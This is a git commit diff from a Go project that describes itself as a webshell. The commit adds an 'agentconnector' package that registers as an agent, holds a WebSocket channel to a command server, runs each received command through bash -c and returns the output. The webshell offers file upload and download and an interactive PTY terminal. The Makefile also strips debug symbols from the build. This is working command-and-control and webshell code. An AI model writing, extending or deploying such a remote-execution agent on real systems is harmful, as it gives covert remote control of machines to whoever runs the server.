added port number to the websocket connection

This commit is contained in:
Stefan Etringer 2025-05-23 14:52:28 +00:00
parent 23046e026d
commit 380ff26eef
4 changed files with 243 additions and 7 deletions

View File

@ -13,7 +13,8 @@ all: build
build: ## Build the application
@echo "Building $(APP_NAME)..."
$(GO_BUILD) -o $(BINARY)
# $(GO_BUILD) -o $(BINARY)
$(GO_BUILD) -ldflags "-w" -o $(BINARY)
install: build ## Install the application
@echo "Installing $(APP_NAME)..."

59
main.go
View File

@ -10,6 +10,7 @@ import (
"html/template"
"io"
"log"
"net"
"net/http"
"net/url"
"os"
@ -18,9 +19,12 @@ import (
"path/filepath"
"regexp"
"strings"
"sync"
"github.com/creack/pty"
"github.com/gorilla/websocket"
"gommand/src/agentconnector"
)
type PageData struct {
@ -36,6 +40,8 @@ type CommandOutput struct {
Error string
}
// Contains the list of commands, which will be parsed recursively
// through executeCommandTree() and in the end executeCommand()
type CommandNode struct {
Operator string
Left *CommandNode
@ -485,14 +491,60 @@ func handler(w http.ResponseWriter, r *http.Request) {
tmpl.Execute(w, data)
}
func main() {
func startMainServer() (int, net.Listener) {
http.HandleFunc("/", handler)
http.HandleFunc("/upload", fileUploadHandler)
http.HandleFunc("/download", fileDownloadHandler)
http.HandleFunc("/terminal", terminalHandler)
http.Handle("/static/", http.FileServer(http.FS(staticFiles)))
fmt.Println("Starting server on :8080")
http.ListenAndServe(":8080", nil)
listener, err := net.Listen("tcp", ":0")
if err != nil {
log.Fatal(err)
}
port := listener.Addr().(*net.TCPAddr).Port
log.Println("Using port:", port)
return port, listener
}
func main() {
// http.HandleFunc("/", handler)
// http.HandleFunc("/upload", fileUploadHandler)
// http.HandleFunc("/download", fileDownloadHandler)
// http.HandleFunc("/terminal", terminalHandler)
// http.Handle("/static/", http.FileServer(http.FS(staticFiles)))
// // fmt.Println("Starting server on :8080")
// // log.Fatal(http.ListenAndServe(":8080", nil))
// /* This section opens the server on a random port which is also free to use */
// listener, err := net.Listen("tcp", ":0")
// if err != nil {
// panic(err)
// }
// log.Println("Using port:", listener.Addr().(*net.TCPAddr).Port)
// log.Fatal(http.Serve(listener, nil))
port, listener := startMainServer()
var wg sync.WaitGroup
wg.Add(2)
go func() {
defer wg.Done()
log.Fatal(http.Serve(listener, nil))
}()
go func() {
defer wg.Done()
agentconnector.StartServer(port)
}()
wg.Wait()
}
var upgrader = websocket.Upgrader {
@ -540,6 +592,7 @@ func terminalHandler (w http.ResponseWriter, r *http.Request) {
break
}
// This is done, so resizing works in the browser, especially resizing the terminal
// Check if the message is binary and starts with control prefix 0xFF.
if len(message) > 0 && message[0] == 0xFF {
var resizeMsg struct {

View File

@ -0,0 +1,182 @@
package agentconnector
import (
"encoding/json"
"fmt"
"log"
"net/http"
"net/url"
"os/exec"
"time"
"math/rand"
"math"
"strconv"
"github.com/gorilla/websocket"
)
const(
webServerAddr = "127.0.0.1:3333"
webSocketAddr = "127.0.0.1:5555"
registerURL = "http://" + webServerAddr + "/agents"
// wsURL = "ws://" + webSocketAddr + "/data"
)
type Agent struct {
AgentName string `json:"agentName"`
AgentID string `json:"agentId"`
AgentType string `json:"agentType"`
AgentIP string `json:"agentIp"`
InitialContact string `json:"initialContact"`
LastContact string `json:"lastContact"`
AddPort string `json:"addPort"`
}
type Message struct {
Type string `json:"type"`
Payload string `json:"payload"`
}
var conn *websocket.Conn
func registerAgent(agentName, agentId, agentIp, agentType, addPort string) error {
form := url.Values{}
form.Add("agentId", agentId)
form.Add("agentName", agentName)
form.Add("agentType", agentType)
form.Add("IPv4Address", agentIp)
form.Add("addPort", addPort)
resp, err := http.PostForm(registerURL, form)
if err != nil {
return fmt.Errorf("Error registering agent: %v", err)
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusCreated {
return fmt.Errorf("Failed to register agent, status: %v", resp.Status)
}
log.Printf("Agent %s successfully registered.", agentName)
return nil
}
func connectToWebSocket(agentName, agentId, agentIp, agentType, addPort string) error {
wsURL := fmt.Sprintf("ws://%s/data?agentName=%s&agentId=%s&IPv4Address=%s&agentType=%s&addPort=%s", webSocketAddr, url.QueryEscape(agentName), url.QueryEscape(agentId), url.QueryEscape(agentIp), url.QueryEscape(agentType), url.QueryEscape(addPort))
var err error
for {
conn, _, err = websocket.DefaultDialer.Dial(wsURL, nil)
if err == nil {
log.Println("WeSocket connection established")
// logger.LogEntries = append(logger.LogEntries, fmt.Sprintf("%s websocket established", time.Now().Format(time.RFC3339)))
return nil
}
log.Printf("Failed to connect to WebSocket: %v. Retrying in 5 seconds...", err)
time.Sleep(5 * time.Second)
}
}
func reconnectToWebSocket(agentName, agentId, agentIp, agentType, addPort string) error {
backoff := 2 * time.Second
maxBackoff := 1 * time.Minute
for {
log.Println("Attempting to reconnect to WebSocket...")
err := connectToWebSocket(agentName, agentId, agentIp, agentType, addPort)
if err == nil {
log.Println("Reconnection succesful.")
return nil
}
log.Printf("Reconnection failed: %v", err)
time.Sleep(backoff)
backoff *= 2
if backoff > maxBackoff {
backoff = maxBackoff
}
}
}
func listenForCommands(agentName, agentId, agentIp, agentType, addPort string) {
defer conn.Close()
for {
_, rawMessage, err := conn.ReadMessage()
if err != nil {
log.Printf("Connection lost: %v", err)
if reconnectErr := reconnectToWebSocket(agentName, agentId, agentIp, agentType, addPort); reconnectErr != nil {
log.Printf("Critical error during reconnection: %v", reconnectErr)
}
continue
}
var message Message
if err := json.Unmarshal(rawMessage, &message); err != nil {
log.Printf("Error unmarshalling message: %v", err)
continue
}
if message.Type != "command" {
log.Printf("Ignoring non-command message: %v", message)
continue
}
command := message.Payload
log.Printf("Received command: %s", command)
cmd := exec.Command("bash", "-c", command)
output, err := cmd.CombinedOutput()
response := Message{
Type: "response",
Payload: string(output),
}
if err != nil {
response.Payload += fmt.Sprintf("\n Error executing command: %v", err)
}
responseBytes, _ := json.Marshal(response)
if err := conn.WriteMessage(websocket.TextMessage, responseBytes); err != nil {
log.Printf("Error sending output: %v", err)
break
}
log.Printf("Output sent to server.")
}
}
func randomInt(length int) int {
rand.Seed(time.Now().UnixNano())
min := int(math.Pow10(length-1))
max := int(math.Pow10(length)) -1
return rand.Intn(max-min+1) + min
}
// func main() {
func StartServer(agentInteractivePort int){
// agentInteractivePort is only needed for interactive sessions
agentName := "Agent-001"
agentId := strconv.Itoa(randomInt(8))
agentIp := "127.0.0.1"
agentType := "Interactive"
addPort := strconv.Itoa(agentInteractivePort)
log.Printf("AgentId: %s", agentId)
// if err := registerAgent(agentName, agentId, agentIp, agentType); err != nil {
// log.Fatalf("Agent registration failed: %v", err)
// }
if err := connectToWebSocket(agentName, agentId, agentIp, agentType, addPort); err != nil {
log.Fatalf("Websocket connection failed: %v", err)
}
listenForCommands(agentName, agentId, agentIp, agentType, addPort)
}

View File

@ -1,11 +1,11 @@
const helpMsg = `
This is a non interactive Webshell including some additional features to ease
communications between server and client.
This is a non interactive Webshell with an interactive mode, including some
additional features to ease communications between server and client.
Available Commands:
upload Upload files to the server through the file selector of the browser.
download <file> Download files from the server to your local download directory.
theme <theme> Change the colorscheme of the shell. Type theme to get an overview of all colorschemes.
start-interactive Opens a bash shell in an interactive terminal. Type ctrl+d to exit the interactive shell.
start-interactive Opens a bash shell in an interactive terminal. Type ctrl+d to go back to non-interactive mode.
`
// const helpMsg = 'This is a non interactive Webshell including some additional features to ease communications between server and client.\n Available Commands:\n upload\t\t\t\tUpload files to the server through the file selector of the browser.\n download <file>\t\t\tDownload files from the server to your local download directory.\n theme <theme>\t\t\tChange the colorscheme of the shell. Type theme to get an overview of all colorschemes.\n start-interactive\t\t\tOpens a bash shell in an interactive terminal. Type ctrl+d to exi the interactive shell.'